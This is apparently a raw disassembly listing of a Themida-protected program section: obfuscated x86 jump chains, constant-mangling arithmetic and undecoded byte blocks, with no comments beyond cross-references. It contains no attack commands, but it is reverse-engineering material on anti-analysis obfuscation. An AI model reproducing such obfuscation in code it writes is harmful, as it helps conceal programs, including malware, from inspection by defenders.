		add	ebp, 4
		push	edi
		mov	edi, 4
		push	ebx
		mov	ebx, 194B5071h
		jmp	loc_561AE0
; ---------------------------------------------------------------------------
		db 0F7h
		dd 240C87D1h, 240CE95Bh, 3487FFFFh, 0C8E95C24h,	87FFFFCCh
		dd 87D1F7CEh, 0DAE681CEh, 0E97CE937h, 0FFFEF2CAh, 32D7BD55h
		dd 18E92C67h
		db 0EFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_566A1F:				; CODE XREF: Themida_:00557411j
		push	eax
		mov	al, 86h
		push	ebx
		mov	bh, 0Fh
		and	bh, 0F4h
		jmp	loc_560CC8
; ---------------------------------------------------------------------------
		align 2
		dw 8BF3h
		dd 0C4812414h, 4, 0D6E9CB28h, 5BFFFF6Bh, 4C381h, 0C3830000h
		dd 0D5ACE904h, 83ADFFFFh, 0C8904ECh, 2000B924h,	51521382h
		dd 33578068h, 240C8B55h, 0FF9F06E9h, 0C8966FFh,	0AA686624h
		dd 1C896668h, 22FFE924h, 31ADFFFFh, 0EC8353D8h,	887FE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_566A86:				; CODE XREF: Themida_:00568024j
		push	edx
		mov	edx, edi
		push	edx
		pop	ecx
		pop	edx
		pop	edi
		add	eax, ecx
		pop	ecx
		push	6FE8h
		mov	[esp], ecx
		jmp	loc_55B5AA
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 5000000h, 1CEE572Ah,	0AB2AB42Dh, 0E9D80179h,	0FFFF22F9h
; ---------------------------------------------------------------------------


loc_566AB4:				; CODE XREF: Themida_:0055A690j
		sub	esp, 4
		jmp	loc_566C19
; ---------------------------------------------------------------------------
		dd offset dword_4D4218+3E50h
		dd 24048900h, 0FFA741E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_566AC9:				; CODE XREF: Themida_:0055F9ACj
		pop	eax
		jmp	loc_55A601
; ---------------------------------------------------------------------------


loc_566ACF:				; CODE XREF: Themida_:0055B785j
		mov	eax, 482E384Ah
		add	eax, 22045D70h
		not	eax
		jmp	loc_56352C
; ---------------------------------------------------------------------------


loc_566AE0:				; CODE XREF: Themida_:005538CBj
		pop	edx
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 1CB1320h
		jmp	loc_558EA9
; ---------------------------------------------------------------------------


loc_566AF4:				; CODE XREF: Themida_:005582A6j
		add	ebx, esi
		pop	esi
		xchg	ebx, [esp]
		mov	esp, [esp]
		pop	ecx
		jmp	loc_552C38
; ---------------------------------------------------------------------------
		db 1
		dd 0F7EA81C2h, 8313900Bh, 0FE904ECh, 87FFFF6Fh,	0E95C243Ch
		dd 0FFFF746Eh
; ---------------------------------------------------------------------------


loc_566B1C:				; CODE XREF: Themida_:0055DE8Bj
		or	edx, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		sub	edx, 1
		xor	edx, 6FFB497Eh
		jmp	loc_555220
; ---------------------------------------------------------------------------


loc_566B36:				; CODE XREF: Themida_:005594FCj
		mov	cl, dl
		pop	dx
		add	bl, cl
		pop	cx
		push	54DDh
		mov	[esp], edx
		jmp	loc_55A5B6
; ---------------------------------------------------------------------------
		db 56h
		dd 0FF1EDAE9h, 5AF381FFh, 893DAE5Dh, 2434FFD9h,	83241C8Bh
		db 0C4h, 4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_566FD6
; ---------------------------------------------------------------------------


loc_566B6A:				; CODE XREF: Themida_:0055C7A8j
		xor	[esp], eax
		jmp	loc_55FC7A
; ---------------------------------------------------------------------------


loc_566B72:				; CODE XREF: Themida_:00561028j
		mov	edx, 4
		add	ebp, edx
		pop	edx
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		push	7BF7h
		mov	[esp], esi
		jmp	loc_563641
; ---------------------------------------------------------------------------
		dd 4C581h, 2C870000h, 0D1D0E924h, 159FFFFh, 4F29E9D1h
		dd 8B66FFFFh, 8951240Ch, 0F9BB53E1h, 4B120B6Ah,	0D2F7D387h
		dd 0EBD1D387h, 5C97E381h, 0EBC13C60h, 0A1FFE905h, 8A68FFFFh
		dd 8900000Dh, 0A6E92424h, 68FFFFABh, 0AFCh, 0E9243C89h
		dd 0FFFFCA81h
; ---------------------------------------------------------------------------


loc_566BE8:				; CODE XREF: Themida_:0055D792j
		add	ecx, 9ECD1A83h
		xor	[edi+20h], ecx
		pop	ecx


loc_566BF2:				; CODE XREF: Themida_:0055AE92j
					; Themida_:00567E00j
		push	dword ptr [esp]
		jmp	loc_556DC2
; ---------------------------------------------------------------------------
		dw 0BA52h
		dd 4, 0FFA736E9h, 3F280FFh, 33E9D120h, 0BFFFFF25h, 0FD54459Ah
		dd 0FF493AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_566C19:				; CODE XREF: Themida_:00566AB7j
		mov	[esp], edi
		push	656952CEh
		mov	edi, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 456560C1h
		xor	edi, ebp
		pop	ebp
		sub	edi, 200BF20Fh
		push	edi
		add	dword ptr [esp], 2C3C6C2Bh
		pop	ebx
		sub	ebx, 2C3C6C2Bh
		mov	edi, [esp]
		sub	esp, 4
		mov	[esp], eax
		push	esp
		pop	eax
		push	ebx
		jmp	loc_55F7CC
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 4
		dd 81000000h, 4EAh, 24148700h, 2414895Ch, 4BAh,	246C8100h
		dd 7E499404h, 24540107h, 24448104h, 7E499404h, 34FF5A07h
		dd 0C4815F24h, 4, 5B086855h, 4890000h, 178FB824h, 93BD69A7h
		dd 0E969A717h, 0FFFEEBF3h, 5859CF01h, 4EF81h, 89500000h
		dd 405E0h, 4EE90000h, 83FFFFECh, 0C8704C1h, 24248B24h
		dd 3108E8C1h, 784668C8h, 99E90000h, 0FFFFFFA1h,	0E95E2434h
		dd 0FFFF2DCEh, 1C8BDD01h, 4C48324h, 0E904C583h,	0FFFF6763h
		dd 811C381h, 0EB832F4Ch, 14F753FFh, 0C3815B24h,	0CF3B67A2h
		dd 5F5BDD29h, 8B242C87h, 0E9552424h, 0FFFFEDF6h, 4BAh
		dd 8BD52900h, 0C4812414h, 4, 8B242C87h,	1C892424h, 6066824h
		dd 2AE90000h, 0ADFFFFD6h, 0A963E955h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_566D3E:				; CODE XREF: Themida_:0055733Dj
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 4
		add	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_55ED3D
; ---------------------------------------------------------------------------
		dd 9BBA525Ch, 8148527Dh, 5C75F0C2h, 78CA817Ah, 576E1F76h
		dd 1328BBFh, 0AFACE919h, 3489FFFFh, 1295BE24h, 0FAE964D3h
		dd 83FFFED4h, 3E6804C4h, 89000010h, 0F0682414h,	0E9000029h
		dd 0FFFFBA3Ah, 240C8B66h, 0FF56E6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_566DA5:				; CODE XREF: Themida_:0055E6FFj
		push	18A1h
		mov	[esp], ebx
		push	ecx
		mov	ch, al
		mov	bh, ch
		pop	ecx
		jmp	loc_56160E
; ---------------------------------------------------------------------------


loc_566DB8:				; CODE XREF: Themida_:0055AD19j
		pop	eax
		push	esi
		jmp	loc_559826
; ---------------------------------------------------------------------------
		db 0FFh
		dd 34FF2434h, 241C8B24h, 4C481h, 68520000h, 6F08h, 81242489h
		dd 42404h, 815A0000h, 4C2h, 4B85000h, 1000000h,	0B4E958C2h
		dd 0B7FFFF9Eh, 2E7C02Ah, 0FF5C34E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_566DFD:				; CODE XREF: Themida_:00557877j
		push	ebx
		push	24h
		pop	ebx
		add	ebx, 0C3E15D8h
		sub	ebx, 17B55DC7h
		add	ebx, edi
		jmp	loc_562B36
; ---------------------------------------------------------------------------
		db 28h
		dd 240C8BEAh, 2804C483h, 24148BD7h, 0FE04C483h,	80D7F6CFh
		dd 0F800DFEFh, 0FFC055E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_566E35:				; CODE XREF: Themida_:005540E6j
		push	ebp
		pop	edx
		pop	ebp
		mov	ecx, [esp]
		add	esp, 4
		and	eax, edx
		pop	edx
		shr	eax, 0Ah
		xor	eax, ecx
		push	23BBh
		mov	[esp], eax
		xchg	edi, [esp]
		xchg	edx, edi
		not	edx
		xchg	edx, edi
		xor	[esp], edi
		jmp	loc_5572A2
; ---------------------------------------------------------------------------


loc_566E5F:				; CODE XREF: Themida_:00566EE8j
		push	ebx
		mov	ebx, 24DF4023h
		shl	ebx, 8
		xor	ebx, 61347056h
		jmp	loc_555555
; ---------------------------------------------------------------------------
		db 5Eh
		dd 0D0C9E95Dh, 8B66FFFFh, 0F9E9240Ch, 5DFFFFFAh, 0AB9B850h
		dd 0F1E905FDh, 29000010h, 0D3015EF3h, 6689C381h, 54553E39h
		dd 4C5815Dh, 83000000h,	86E904EDh, 81000001h, 0E621DEC6h
		dd 0E9D6F70Dh, 0FFFFA8BCh, 0BE56E289h, 46772122h, 541AF681h
		dd 0F6817C07h, 3A70753Ch, 38E9F201h
		db 3Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_566ED3:				; CODE XREF: Themida_:0055D598j
		add	ebp, 4
		sub	esp, 4
		mov	[esp], ebx
		push	4
		pop	ebx
		jmp	loc_566E5F
; ---------------------------------------------------------------------------


loc_566EED:				; CODE XREF: Themida_:00556E12j
		mov	edx, esp
		add	edx, 4
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_559FB1
; ---------------------------------------------------------------------------
		db 0FFh
		dd 51533C77h, 4B15BDB9h, 0E9CB8909h, 0FFFF820Ch, 5C240C87h
		dd 8904EC83h, 0C4E9241Ch
		db 2 dup(0FEh),	0FFh
; ---------------------------------------------------------------------------


loc_566F23:				; CODE XREF: Themida_:0055653Fj
		mov	ecx, esp
		sub	esp, 4
		jmp	loc_55CC2D
; ---------------------------------------------------------------------------
		db 8Bh,	3Ch, 24h
		dd 8B04C483h, 0C4812404h, 4, 0FFC34EE9h, 10B951FFh, 13B1729h
		dd 5908244Ch, 0FF1853E9h, 81008FFFh, 2C135E00h,	0D9E95D2Ch
		dd 0FFFEBCh, 0C561E9F7h, 0C701FFFFh, 905CE958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_566F6E:				; CODE XREF: Themida_:00564045j
		pop	esp
		push	edi
		mov	edi, esp
		push	esi
		mov	esi, 741876FEh
		jmp	loc_5675B0
; ---------------------------------------------------------------------------
		db 53h,	89h, 0E3h
		dd 4C381h, 72E90000h, 5CFFFF43h, 5124348Bh, 0FFDFF1E9h
		dd 0A5E980FFh, 0C8BCB00h, 4C48324h, 0FFC0B60Fh,	48B8734h
		dd 58545024h, 4FB95152h, 0BA651B03h, 0B4161BFDh, 0F759CA29h
		dd 686568D2h, 3C890000h, 9AB95124h, 5606AA6Bh, 0AB745ABEh
		dd 0DD6DE917h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_566FD6:				; CODE XREF: Themida_:00566B65j
		add	ebp, 4
		jmp	loc_55A389
; ---------------------------------------------------------------------------
		db 58h,	87h, 34h
		dd 48F5C24h, 8B665C24h,	89512404h, 4C181E1h, 83000000h
		dd 0C3304E9h, 240C3124h, 0FF7C85E9h, 6CBF57FFh,	0C15CCB76h
		dd 9BE908EFh, 8BFFFFF4h, 89532404h, 4EC81E3h, 89000000h
		dd 0AE92434h
		db 1Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_567027:				; CODE XREF: Themida_:00566826j
		mov	[esp], ebx
		mov	ebx, esp
		jmp	loc_563A3E
; ---------------------------------------------------------------------------
		db 87h,	2Ch, 24h
		dd 0FF23D0E9h, 0B7BD55FFh, 0C138C942h, 0F58105EDh, 11A5366Ch
		dd 0E902E5C1h, 0FFFEE91Bh, 0FF2434FFh, 81582434h, 4C4h
		dd 4885E900h, 0E955FFFFh, 0FFFF17A0h, 1333EB81h, 0DE01071Eh
		dd 0F9E1E95Bh
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_567076:				; CODE XREF: Themida_:00554A35j
		mov	esi, [esp]
		add	esp, 4
		push	ebp
		push	edi
		mov	edi, 646C50FDh
		mov	ebp, 0D465BFB2h
		sub	ebp, edi
		pop	edi
		shl	ebp, 2
		push	ecx
		mov	ecx, 401A4530h
		add	ebp, ecx
		pop	ecx
		jmp	loc_55C81B
; ---------------------------------------------------------------------------


loc_56709F:				; CODE XREF: Themida_:00555BF2j
		add	edi, eax
		pop	eax
		push	ebx
		push	eax
		push	ebx
		push	69394715h
		jmp	loc_56191C
; ---------------------------------------------------------------------------
		db 0BBh
		dd 0A03FF410h, 815BDE31h, 1D1E44C3h, 5692E90Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5670C2:				; CODE XREF: Themida_:00558262j
		mov	dl, 6Dh
		sub	bl, dl
		pop	dx
		pop	edx
		add	bl, 0C4h
		add	bl, al
		push	ax
		jmp	loc_55CAD7
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 63h
		dd 8141B625h, 0A1723CEEh, 76E95808h
		db 32h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5670E7:				; CODE XREF: Themida_:0055D8D5j
		push	ebp
		mov	ebx, [esp]
		jmp	loc_55FFBA
; ---------------------------------------------------------------------------
		dd 6A67BD55h, 0B8500186h, 6EEC46DFh, 8158C529h,	9C5F7CE5h
		dd 4B9511Ah, 1676F93h, 0EA2959CDh, 8B5E525Dh, 0C4832414h
		dd 90B95104h, 816E1051h, 3D0F55E1h, 0CFF5167h, 2414F724h
		dd 0FFB528E9h, 0A2C381FFh, 5A44750Bh, 4EC81h, 2C890000h
		dd 79A7BD24h, 0F581001Eh, 1E79A5h, 70C9C381h, 0EB817A17h
		dd 4A12C37h, 0FEDD14E9h, 4F095EFFh, 0A0E1E91Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_567166:				; CODE XREF: Themida_:00564C4Dj
		add	edi, 3D8A2DDEh
		add	edi, ecx
		sub	edi, 3D8A2DDEh
		pop	ecx
		xor	edi, [esp]
		jmp	loc_55A680
; ---------------------------------------------------------------------------


loc_56717D:				; CODE XREF: Themida_:005618CBj
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		jmp	loc_559621
; ---------------------------------------------------------------------------


loc_56718E:				; CODE XREF: Themida_:00553CA2j
		pop	esi
		push	eax
		mov	eax, 62810D9Dh
		xor	ebp, eax
		pop	eax
		push	edx
		jmp	loc_565094
; ---------------------------------------------------------------------------
		dw 5352h
		dd 920ED968h, 0A9E95B28h, 5BFFFF76h, 6479BE56h,	0EE811FE4h
		dd 35057DBBh, 0F681EED1h, 756F735Bh, 27E9F301h,	81FFFF76h
		dd 0CFB306EDh, 5DE9018Ah, 2FEAC181h, 0E98161CAh, 23162CF3h
		dd 0FFC6A7E9h, 8EEC1FFh, 8107EEC1h, 11F7EF6h, 5EF18900h
		dd 0E959CE29h, 0FFFF07F8h, 4EC81h, 1C890000h, 3193BB24h
		dd 0F3811F40h, 2C9C3FFBh, 0DCE38143h, 815F1474h, 0EBFBBCC3h
		dd 5BDF01ECh, 4EC81h, 2C890000h, 0C185E924h, 0CE31FFFFh
		dd 0FEDEAEE9h, 7EBC1FFh, 66A9CB81h, 0E9521AD4h,	0FFFFE2CEh
; ---------------------------------------------------------------------------


loc_567240:				; CODE XREF: Themida_:0055489Fj
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		xor	esi, 4A5F0DE5h
		pop	eax
		and	ecx, esi
		push	dword ptr [esp]
		jmp	loc_5567BF
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0FFABEEE9h, 105FFh, 0BA520000h, 82818FE5h, 2048A72Dh
		dd 5D0294Fh, 4F2048A7h,	0F0BE565Ah, 0E951C146h,	0FFFF33AFh
; ---------------------------------------------------------------------------


loc_56728C:				; CODE XREF: Themida_:00556863j
		sub	edx, eax
		pop	eax
		xor	esi, edx
		mov	edx, [esp]
		add	esp, 4
		push	edi
		mov	edi, 5AD568CEh
		sub	esi, edi
		mov	edi, [esp]
		jmp	loc_55652E
; ---------------------------------------------------------------------------
		dw 0C87h
		dd 24048B24h, 0FFEEB1E9h, 8EFC1FFh, 71CCBD55h, 0EF295163h
		dd 0E2E7E95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5672C6:				; CODE XREF: Themida_:00562496j
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_5678F7
; ---------------------------------------------------------------------------
		db 81h,	0E7h, 0BDh
		dd 811B711Bh, 2C1D01EFh, 5FF90104h, 0C8BCA01h, 4C48124h
		dd 1000000h, 0F707E9D5h, 815EFFFEh, 0AA042444h,	10A015Ah
		dd 8104247Ch, 0AA04246Ch, 0E90A015Ah, 0FFFEC8FFh, 0B8240489h
		dd 4, 48BC629h,	4EC8324h, 89242C89h, 4C581E5h, 68000000h
		dd 0FE9h, 0BA241489h, 70613EB3h, 5CE9C231h
		db 0ACh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56733F:				; CODE XREF: Themida_:00561D4Ej
		sub	ebp, edx
		pop	edx
		add	eax, ebp
		pop	ebp
		jmp	loc_55C7A5
; ---------------------------------------------------------------------------


loc_56734A:				; CODE XREF: Themida_:005629F2j
		pop	edx
		jmp	loc_5538C9
; ---------------------------------------------------------------------------
		dd 1324685Ah, 4890000h,	1B7AB824h, 80E97E4Ah
		db 2, 2	dup(0FFh)
; ---------------------------------------------------------------------------


loc_567363:				; CODE XREF: Themida_:005574BFj
		mov	ebp, [esp]
		add	esp, 4
		push	ebp
		push	0BD85E14h
		pop	ebp
		shl	ebp, 3
		sub	ebp, 1
		not	ebp
		jmp	loc_554541
; ---------------------------------------------------------------------------
		dd 0C50A80B9h, 0C9E9816Bh, 8121D578h, 0CC176FE9h, 4E1C141h
		dd 7A97C981h, 0C1816854h, 74DD14B5h, 7917F181h,	0CA01458Dh
		dd 57C22959h, 0D86A5BBFh, 5FFA291Ah, 6C9B850h, 46E956D3h
		dd 29FFFFCCh, 24048BC2h, 81E28952h, 4C2h, 4C28100h, 0E9000000h
		dd 0FFFF788Dh
; ---------------------------------------------------------------------------


loc_5673D8:				; CODE XREF: Themida_:00555C52j
		add	ecx, 4
		push	edx
		mov	edx, 33963EDh
		sub	edx, 1
		xor	edx, 33963E8h
		jmp	loc_554700
; ---------------------------------------------------------------------------
		dw 405h
		dd 0E9000000h, 0FFFF19A9h, 4C481h, 3C870000h, 31665C24h
		dd 0E99C2404h, 0FFFEB828h, 0CF80A6B7h, 5E951D0h, 89FFFEF5h
		dd 0E2892414h, 0FEC15FE9h, 44815FFFh, 0BF00424h, 0BD556D80h
		dd 24860A11h, 8246C01h,	247C015Dh, 11BB5304h, 2924860Ah
		dd 0E908245Ch, 0FFFEB904h
; ---------------------------------------------------------------------------


loc_56744C:				; CODE XREF: Themida_:00556FDCj
		pop	ecx
		jmp	loc_561646
; ---------------------------------------------------------------------------


loc_567452:				; CODE XREF: Themida_:005552CAj
		not	ebp
		jmp	loc_561F67
; ---------------------------------------------------------------------------
		db 2Dh,	72h, 74h
		dd 1C8B21A6h, 4C48324h,	2B951h,	0C8010000h, 81240C8Bh
		dd 4C4h, 17E95000h, 80FFFFBAh, 0EA28D9EDh, 0FED831E9h
		dd 0A3E95DFFh, 8BFFFF91h, 62E9240Ch, 68FFFF6Dh,	5630h
		dd 0FF240489h, 0FF042474h, 48B2434h, 4C48324h, 0FFE91AE9h
		dd 91E95EFFh
		db 53h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5674B3:				; CODE XREF: Themida_:0055E56Fj
		push	ecx
		jmp	loc_556D1A
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 57242489h, 6269BE56h, 6DBF2A99h, 292A9962h, 0FE24E9F7h
		dd 685FFFFFh, 3548h, 0BB241C89h, 25637843h, 581AC381h
		dd 0E956779Ah, 0FFFFD098h, 4BF57h, 0F8010000h, 5F2434FFh
		dd 41E955h, 66BF0000h, 0BA4ABD47h, 0C4F41250h, 815FFA01h
		dd 1D718AEEh, 81D60131h, 1D718AC6h, 3CE95A31h, 0C100000Bh
		dd 0D1F703E1h, 0C8E181h, 0C5E938BEh, 83FFFF2Bh,	0D3E904ECh
		db 0E9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_567537:				; CODE XREF: Themida_:00564405j
		or	bl, dl
		pop	edx
		jmp	loc_567C15
; ---------------------------------------------------------------------------
		db 89h
		dd 4C581E5h, 52000000h,	4BAh, 8BD50100h, 0C4832414h, 242C8704h
		dd 4C0835Ch, 5C240487h,	3FDB68h, 24048900h, 42474FFh, 7F39E958h
		dd 0D689FFFFh, 273AE95Ah, 8B54FFFFh, 0C483242Ch, 4C58104h
		dd 81000000h, 4C5h, 242C3300h, 33242C31h, 248B242Ch, 28F72C24h
		dd 52F704D8h, 0CEFE2EB6h, 0FF06C0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5675A9:				; CODE XREF: Themida_:00561A6Fj
		sub	edx, edi
		jmp	loc_558FE0
; ---------------------------------------------------------------------------


loc_5675B0:				; CODE XREF: Themida_:00566F78j
		push	ebx
		jmp	loc_567B11
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 0E7C15B04h, 97F78108h, 0E943D141h, 0FFFEC447h
; ---------------------------------------------------------------------------


loc_5675C8:				; CODE XREF: Themida_:00563001j
		dec	ebp
		push	ebx
		mov	ebx, 601B7D6Dh
		shl	ebx, 6
		inc	ebx
		sub	ebx, 26F41BDh
		xor	ebx, 6A731795h
		sub	ebx, 33259893h
		jmp	loc_559CA0
; ---------------------------------------------------------------------------


loc_5675EA:				; CODE XREF: Themida_:00564EFAj
		sub	esp, 4
		jmp	loc_558823
; ---------------------------------------------------------------------------
		db 5Eh,	0E9h, 0A1h
		dd 5DFFFFEEh, 0FF04C483h, 0DFE92434h, 81FFFF62h, 4C5h
		dd 242C3300h, 33242C31h, 248B242Ch, 2434FF24h, 81240C8Bh
		dd 4C4h, 7DE66800h, 2C890000h, 10E1E924h, 0E95AFFFFh, 0FFFF456Fh
		dd 9F240481h, 814D5314h, 100B242Ch, 4292DDBh, 16E0E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56764E:				; CODE XREF: Themida_:00563A43j
		mov	[esp], eax
		mov	eax, 1A1228C6h
		xor	eax, 1A1228C2h
		sub	ebx, 430648A3h
		add	ebx, eax
		push	esi
		mov	esi, 32035C4Fh
		shl	esi, 2
		xor	esi, 8B0B399Fh
		push	edi
		mov	edi, 7C2B5E0Ah
		jmp	loc_5619C7
; ---------------------------------------------------------------------------
		db 5Bh,	5Dh, 1
		dd 0CB295FF9h, 52240C8Bh, 0C281E289h, 4, 5204C283h, 0FEDD59E9h
		dd 0B85059FFh, 175A68C1h, 0E0D1E8D1h, 0CD4AF405h, 0D02D3511h
		dd 0C2012F24h, 0C7C68158h, 1211A0Bh, 0C7EE81D6h, 8B211A0Bh
		dd 0C4812414h, 4, 54BE5657h, 896E364Ch,	0CF815EF7h, 31704367h
		dd 1B68C781h, 81475E0Dh, 7C9524C7h, 5FFE2922h, 2474FF56h
		dd 48F5E04h, 4895C24h, 26E95124h
		db 96h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5676FB:				; CODE XREF: Themida_:00556967j
		push	edi
		push	ecx
		push	5796h
		mov	[esp], edx
		mov	edx, 50EA3C1Bh
		not	edx
		neg	edx
		or	edx, 3D683D4Ch
		shl	edx, 5
		not	edx
		xor	edx, 21940DBDh
		mov	ecx, edx
		pop	edx
		shl	ecx, 1
		or	ecx, 18341C13h
		sub	ecx, 0DE7CBF93h
		mov	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	eax, 0C55318Ch
		add	eax, edi
		sub	eax, 0C55318Ch
		mov	edi, [esp]
		add	esp, 4
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		jmp	loc_562053
; ---------------------------------------------------------------------------


loc_56775E:				; CODE XREF: Themida_:00560E30j
		add	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	esi, 4
		push	esi
		jmp	loc_55C567
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0D3F705EBh, 762FC381h, 0F3817FAEh, 31B41D58h, 5B04CB81h
		dd 0F38115CCh, 5553C359h, 0FFAB01E9h, 0B8E953FFh, 5AFFFF52h
		dd 0FF19CCE9h, 241C87FFh, 8924248Bh, 0CD68243Ch, 8900006Ah
		dd 47E92424h
		db 0DEh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5677B3:				; CODE XREF: Themida_:00567CF6j
		mov	esp, [esp]
		push	dword ptr [esp]
		jmp	loc_55506D
; ---------------------------------------------------------------------------
		dw 14F7h
		dd 242C8B24h, 4C481h, 0ED810000h, 73E320CAh, 0FF15ABE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5677D5:				; CODE XREF: Themida_:00553CB4j
		mov	eax, esi
		mov	esi, [esp]
		jmp	loc_55D68C
; ---------------------------------------------------------------------------
		db 64h
		dd 51E9028Fh
		db 0B4h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5677E7:				; CODE XREF: Themida_:005617BCj
		mov	edx, ebx
		mov	esi, edx
		mov	edx, [esp]
		add	esp, 4
		mov	ebx, [esp]
		add	esp, 4
		sub	esi, 59F154B3h
		mov	ebx, esi
		pop	esi
		add	ebx, 6DD7454Dh
		add	ebx, edi
		push	esi
		jmp	loc_555927
; ---------------------------------------------------------------------------


loc_56780E:				; CODE XREF: Themida_:0056161Ej
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		pop	eax
		push	777Fh
		jmp	loc_554804
; ---------------------------------------------------------------------------


loc_56782E:				; CODE XREF: Themida_:0055B24Dj
		add	ecx, 1EA52BF1h
		push	ebp
		mov	ebp, 23C32BDBh
		push	edx
		mov	edx, 194D6C75h
		jmp	loc_555CFB
; ---------------------------------------------------------------------------


loc_567845:				; CODE XREF: Themida_:00562988j
		push	edx
		mov	edx, 4
		add	ebp, edx
		pop	edx
		add	ebp, 4
		push	ebp
		jmp	loc_557535
; ---------------------------------------------------------------------------
		dw 0EA81h
		dd 0A3D42F23h, 815AD389h, 8A623DF3h, 0D1DFE950h, 0C668FFFFh
		dd 0E97FF556h, 0FFFFB4F5h, 4EC835Dh, 0E9240C89h, 0FFFF5D53h
		dd 2434895Ch, 8904EC83h, 0CB68241Ch, 5B2C1224h,	0C14BD3F7h
		dd 0C38107EBh, 7609660h, 835B5E53h, 3C8904ECh, 5AB0BF24h
		dd 0F8297589h, 5F0015Fh, 75895AB0h, 0E924348Bh,	0FFFFF1DDh
; ---------------------------------------------------------------------------


loc_5678C0:				; CODE XREF: Themida_:0055515Cj
		pop	ebx
		push	7397h
		mov	[esp], edx
		push	ebp
		push	ecx
		mov	ecx, 41E21676h
		mov	ebp, ecx
		pop	ecx
		neg	ebp
		sub	ebp, 44622E72h
		jmp	loc_55E72E
; ---------------------------------------------------------------------------
		dd 0D2E9C6FEh, 0BAFFFEE6h, 4, 59F7BD55h, 9DE9027Bh
		db 0Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5678F7:				; CODE XREF: Themida_:005672D0j
		xchg	eax, [esp]
		pop	esp
		push	ebp
		push	6E80h
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		jmp	loc_5571EA
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 4, 5C243487h, 2474FF53h, 48F5B04h, 24248B24h, 8904EC83h
		dd 0E789243Ch, 0FF4DBBE9h, 0E95A66FFh, 0FFFEB300h, 0AC26D0BEh
		dd 677BE961h, 248BFFFFh, 0E9F76624h, 0E904EC83h, 0FFFF948Eh
		dd 0E3E95652h, 81FFFF6Eh, 4C3h,	241C8700h, 68C3015Ch, 6110h
		dd 0FF4CEBE9h, 64C9BBFFh, 0EB814C7Ch, 17FBEE71h, 1C8BD801h
		dd 4C48124h, 5E000000h,	220068h, 243C8900h, 0FF272AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_567991:				; CODE XREF: Themida_:005568B0j
		pop	esi
		sub	ebp, 5D202E78h
		mov	eax, [esp]
		push	7226h
		jmp	loc_557434
; ---------------------------------------------------------------------------
		db 0BEh, 0E8h, 63h
		dd 0E6813CD4h, 7081224Ch, 0DEF7D6F7h, 48D8E681h, 0F68163E1h
		dd 6B1A281Bh, 0E95EF001h, 0FFFF388Ah
; ---------------------------------------------------------------------------


loc_5679C8:				; CODE XREF: Themida_:0056031Cj
		add	esp, 4
		pop	edi
		sub	[edi+24h], eax
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	ecx
		jmp	loc_557041
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0B85005EDh, 66867D19h, 5158C501h, 0FEB6ABE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5679F1:				; CODE XREF: Themida_:00565773j
		xor	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], ax
		jmp	loc_552C38
; ---------------------------------------------------------------------------
		dd 3304EA83h, 14312414h, 24143324h, 243C895Ch, 468h, 243C8B00h
		dd 8104C483h, 8A6766EDh, 81FD014Ch, 8A6766C5h, 4F4BE94Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_567A2E:				; CODE XREF: Themida_:0056818Fj
		add	ebx, 1A9E295Bh
		xor	ebx, 71547097h
